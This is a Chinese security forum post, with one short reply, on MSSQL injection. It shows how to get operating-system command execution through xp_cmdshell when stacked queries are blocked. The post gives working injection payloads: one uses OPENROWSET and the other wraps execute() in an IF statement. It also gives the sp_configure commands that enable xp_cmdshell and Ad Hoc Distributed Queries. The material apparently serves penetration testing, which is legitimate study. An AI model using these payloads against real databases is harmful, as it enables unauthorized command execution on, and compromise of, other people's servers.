# MSSQL注入 突破不能堆叠的限制执行系统命令

**URL:** <https://forum.90sec.com/t/topic/1113>\
**Category:** 宽字节安全\
**Created:** [2020 年6 月 8 日 06:41 UTC](https://forum.90sec.com/t/topic/1113 "2020-06-08T06:41:19Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

作者： ![unicodeSec](https://forum.90sec.com/user_avatar/forum.90sec.com/unicodesec/32/6830_2.png) [@unicodeSec](https://forum.90sec.com/u/unicodeSec)\
发布日期： [2020 年6 月 8 日 06:41 UTC](https://forum.90sec.com/t/topic/1113/1 "2020-06-08T06:41:19Z")

</div>

## 使用 openrowset

这是网上流传比较广的一种，使用 openrowset 来执行，突破不能堆叠的限制，语法格式如下：

```
OPENROWSET
( { 'provider_name' 
    , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
    , { <table_or_view> | 'query' }
   | BULK 'data_file' ,
       { FORMATFILE = 'format_file_path' [<bulk_options>]
       | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )

```

payload

```sql
select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set 
fmtonly off 
exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')

```

在平常渗透测试中，这个技巧更多的时候用在切换高权限用户的时候，在 `sqlmap\data\procs\mssqlserver` 下的 `run_statement_as_user.sql` 中，我们可以看到常用的 `payload`

 ![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608143543.png)

但是该方法在实际的运用中局限性还是很大的，因为在 mssql2005 及其以后，mssql对系统存储过程做了权限控制，`Ad Hoc Distributed Queries` 组件默认是不被启用的。

 ![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608143626.png)

- 开启 Ad Hoc Distributed Queries 组件

```sql
exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure

```

- 关闭 Ad Hoc Distributed Queries 组件

```sql
exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure

```

- 查看是否开启相关存储

```sql
select name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'

select name,value_in_use from sys.configurations where name like '%cmdshell%'

```

开启后再来执行执行可以看到顺利执行了。

 ![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608143746.png)

## 使用 exec\execute

因为 方法1 的局限性太大了，翻了半天资料没有找到相应的方法，只能自己动手。在同事`@子云爸爸` 的帮助下，终于瞎几把摸索出一个新的方式去突破无法堆叠的问题。

那么 `exec 真的需要多句才能执行吗？`，来直接看 `payload` 吧

![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608143800.png)

`if` 语句的表达式如下，也就是说，我们是可以借助 `if` 来执行 `sql_statement`，那么只要你能在你的注入点构造一个 `if` 出来，不需要环境支持堆叠也可以达到堆叠的效果。

```
IF Boolean_expression   
     { sql_statement | statement_block }   
[ ELSE   
     { sql_statement | statement_block } ]

```

![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608143946.png)

完整的 `payload`

```sql
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'', 
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell 
''whoami''');

```

 ![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/20200608144013.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/2a0d4ab2f3e4910e42df917b5f0b980129df6212.png)

---

<div class="post-metadata">

作者： ![kerling3389](https://forum.90sec.com/letter_avatar_proxy/v4/letter/k/dfb087/32.png) [@kerling3389](https://forum.90sec.com/u/kerling3389)\
发布日期： [2020 年6 月 10 日 08:45 UTC](https://forum.90sec.com/t/topic/1113/2 "2020-06-10T08:45:04Z")

</div>

IF 这个操作没想到。。。以前用的exec
